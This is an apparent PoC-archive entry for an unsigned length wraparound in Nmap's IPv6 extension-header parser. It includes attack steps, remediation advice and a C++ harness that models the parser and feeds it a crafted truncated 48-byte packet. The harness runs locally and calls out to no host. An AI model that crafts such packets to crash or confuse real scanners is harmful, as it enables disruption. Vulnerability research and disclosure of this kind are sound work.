PoC Archive PoC Archive
Low None assigned as of 2026-07-03 unpatched

Nmap IPv6 Extension-Header Length Wrap

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Low
CVE
None assigned as of 2026-07-03
Category
network
Affected product
Nmap — shared packet parsing code (libnetutil/netutil.cc, tcpip.cc)
Affected versions
Current Nmap source tree at time of research (specific release not pinned by source)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityLow
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusIncomplete PoC
Tagsnmap, ipv6, integer-wraparound, packet-parsing, libnetutil, extension-headers, denial-of-service, research-in-progress
RelatedN/A

Affected Target

FieldValue
Software / SystemNmap — shared packet parsing code (libnetutil/netutil.cc, tcpip.cc)
Versions AffectedCurrent Nmap source tree at time of research (specific release not pinned by source)
Language / PlatformC++17 standalone parser-behavior harness (ipv6_extlen_wrap_probe.cpp)
Authentication RequiredNo
Network Access RequiredNo (PoC is a standalone local arithmetic/parser-behavior harness, not a live network exploit)

Summary

The Nmap IPv6 extension-header parser in libnetutil/netutil.cc advances a payload pointer by an attacker-declared extension-header length without first checking that the advanced pointer stays within the bounds of the captured packet. When a crafted, truncated IPv6 packet declares an extension-header length that pushes the pointer beyond the actual captured data, the subsequent remaining-payload-length calculation — stored in an unsigned integer — wraps around to a very large value. The researcher’s standalone harness reproduces this arithmetic locally, showing a 48-byte captured packet being represented internally as carrying billions of bytes of “remaining” UDP payload. The researcher explicitly marks this work as ongoing, noting it is the strongest fresh parser candidate from a broader review pass but that further work is needed to determine whether this primitive can be escalated beyond parser-state corruption and out-of-bounds reads. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

The IPv6 extension-header walking logic advances a payload pointer using p += (extension_length + 1) * 8 without a post-advance bounds/containment check against the captured packet length, before computing the remaining payload length into an unsigned int, which wraps when the pointer has already moved past the end of the buffer.

Attack Vector

  1. Attacker crafts a 48-byte IPv6 packet whose IPv6 header declares a Hop-by-Hop Options extension header.
  2. The extension header’s own “next header” field is set to UDP, and its length field is set such that the parser advances the payload pointer past the actual captured packet (to offset 56 in a 48-byte capture).
  3. The parser computes the “remaining payload length” as an unsigned subtraction that wraps to a huge value (4294967288 in the researcher’s harness).
  4. Downstream Nmap consumers (raw scan engine, packet validators) that trust this computed length may then treat the truncated packet as containing a large, well-formed upper-layer payload beyond the actual buffer.

Impact

Parser-state corruption and out-of-bounds read exposure in Nmap’s packet-length accounting when scanning/parsing crafted IPv6 traffic; potential for scan-result confusion, over-reads, or crashes in downstream consumers. The researcher notes this is not yet demonstrated as a stronger memory-corruption primitive.


Environment / Lab Setup

Target:   Nmap shared packet-parsing code path (libnetutil/netutil.cc, tcpip.cc) — modeled, not live Nmap binary
Attacker: g++ (C++17), any Linux/macOS/WSL/MinGW toolchain

Proof of Concept

PoC Script

See ipv6_extlen_wrap_probe.cpp in this folder.

1
2
g++ -std=c++17 -O0 -g -Wall -Wextra -o ipv6_extlen_wrap_probe ipv6_extlen_wrap_probe.cpp
./ipv6_extlen_wrap_probe

The standalone harness models the IPv6 extension-header parsing and length-adjustment logic from Nmap’s libnetutil/netutil.cc and tcpip.cc, feeds it a crafted 48-byte packet shape, and prints the resulting wrapped payload-length value to demonstrate the unsigned-integer wraparound condition.


Detection & Indicators of Compromise

Signs of compromise:

  • Not directly observable in production; this PoC targets Nmap’s own parsing code as a research/regression artifact rather than a network-facing service
  • Crash reports or malformed-length warnings from Nmap when scanning networks carrying crafted, truncated IPv6 extension-header traffic

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationAdd a post-advance bounds/containment check in the IPv6 extension-header walking logic before computing remaining payload length; treat truncated extension headers as parse failures rather than continuing with wrapped-length arithmetic

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: nmap-ipv6-extlen-wrap-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. The source author explicitly marks this research as “ongoing” / incomplete: exploitability beyond the demonstrated integer-wraparound arithmetic (e.g., whether it can be escalated to a stronger memory-corruption primitive) had not been established at time of mirroring.

ipv6_extlen_wrap_probe.cpp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <cstdint>
#include <cstdio>
#include <cstring>

using u8 = uint8_t;

static bool is_extension(u8 type) {
  switch (type) {
  case 0:
  case 43:
  case 44:
  case 60:
    return true;
  default:
    return false;
  }
}

static bool is_upper(u8 type) {
  switch (type) {
  case 6:
  case 17:
  case 58:
  case 132:
    return true;
  default:
    return false;
  }
}

static const u8 *parse_ipv6_payload(const u8 *packet, unsigned int *len, u8 *nxt, bool upper_only) {
  const u8 *p;
  const u8 *end;

  if (*len < 40)
    return nullptr;

  p = packet;
  end = p + *len;
  *nxt = packet[6];
  p += 40;

  while (p < end && is_extension(*nxt)) {
    if (p + 2 > end)
      return nullptr;
    *nxt = *p;
    p += (*(p + 1) + 1) * 8;
  }

  *len = end - p;

  if (upper_only && !is_upper(*nxt))
    return nullptr;

  return p;
}

int main() {
  u8 packet[48];
  std::memset(packet, 0, sizeof(packet));

  packet[0] = 0x60;
  packet[4] = 0x00;
  packet[5] = 0x08;
  packet[6] = 0;
  packet[40] = 17;
  packet[41] = 1;

  unsigned int captured_len = sizeof(packet);
  unsigned int payload_len = captured_len;
  u8 next_header = 0;
  const u8 *payload = parse_ipv6_payload(packet, &payload_len, &next_header, true);

  std::printf("helper_returned=%s\n", payload ? "true" : "false");
  std::printf("next_header=%u\n", static_cast<unsigned>(next_header));
  std::printf("payload_offset=%td\n", payload ? payload - packet : -1);
  std::printf("wrapped_payload_len=%u\n", payload_len);

  unsigned int validator_len = captured_len;
  unsigned int ip_payload_len = (static_cast<unsigned>(packet[4]) << 8) | packet[5];
  if (payload_len > ip_payload_len)
    validator_len -= payload_len - ip_payload_len;

  std::printf("validator_len_after_adjust=%u\n", validator_len);
  std::printf("captured_len=%u\n", captured_len);
  return 0;
}